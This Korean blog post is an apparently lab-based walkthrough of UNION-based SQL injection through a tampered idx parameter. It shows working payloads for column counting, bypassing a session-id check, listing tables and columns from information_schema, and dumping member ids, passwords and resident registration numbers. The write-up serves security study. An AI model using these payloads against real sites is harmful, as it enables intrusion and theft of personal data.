Oh! JUN

SQL Injection 공격을 통한 파라미터 변조 공격(취약 사례-2) 본문

웹 해킹/SQL Injection

SQL Injection 공격을 통한 파라미터 변조 공격(취약 사례-2)

Kwon Oh! JUN 2022. 11. 15. 17:57

 

이전 포스팅에서 idx=2로 로그인하면 'gugucon'에 대응하는 세션을 생성했다.

id='gugucon' and idx=999 or idx=4

'gugucon'에 대응하는 세션 값과 상관없이 idx=999 거짓입력하여 idx=4의 정보를 출력했다.

 

이번에는 id값과 대응하는 세션값이 일치하지 않으면 오류 메시지를 출력한다.

idx=999와 같이 거짓 값을 넣어서 id를 무력화시키면 안된다.

 

그래서 UNION  공격을 사용해서 id는 'gugucon' 세션을 유지하면서 다른 계정정보를 훔쳐볼것이다.


idx=2 order by 1 정상 출력
idx=2 order by 2 정상 출력
idx=2 order by 3 정상 출력
idx=2 order by 4 정상 출력
idx=2 order by 5 오류 발생

4개의 컬럼으로 구성되어 있음을 확인할 수 있다.


idx=2 union all select null, null, null, null

idx=2 union all select null, null, null, null  입력했는데 컬럼은 변화가 없다.

왜 그럴까?(사실 이전 포스팅에서도 계속 나옴)

 

상위 레코드에 있는 정보가 출력되기 때문이다.

 

 

해결방법은?

union 앞에 쿼리를 거짓으로 만들면 해결된다.


어라랍스타?

정상적인 접근이 아니라고 오류가 뜬다.

 

 

앞에서 언급했지만 유지되고 있는 세션과 id값이 같아야한다.

 

 

idx=2 and 1=2 union all select null, 'gugucon', null, null

id컬럼 위치에 'gugucon' 입력해서 유지되고 있는 세션과 대응한다.


2 and 1=2 union all select null,'gugucon',table_name,null from information_schema.tables where table_schema=database()

사용 중인 DB의 테이블 이름은 file_list 하나만 출력됬는데 최상위에 있는 레코드이기 때문이다. 

전체 출력하기 위해서는 group_concat() 함수 사용


2 and 1=2 union all select null,'gugucon',group_concat(table_name),null from information_schema.tables where table_schema=database()

file_listl, members, tb_board 모두 출력된것을 확인할 수 있다.


2 and 1=2 union all select null,'gugucon',group_concat(column_name),null from information_schema.columns where table_schema=database() and table_name='members'

 members 테이블의 컬럼을 조회해봤다.


2 and 1=2 union all select group_concat(idx, '%23%23%23'),'gugucon',group_concat(id, '....', password, '%23%23%23'),group_concat(jumin, '%23%23%23') from members

레코드 조회완료!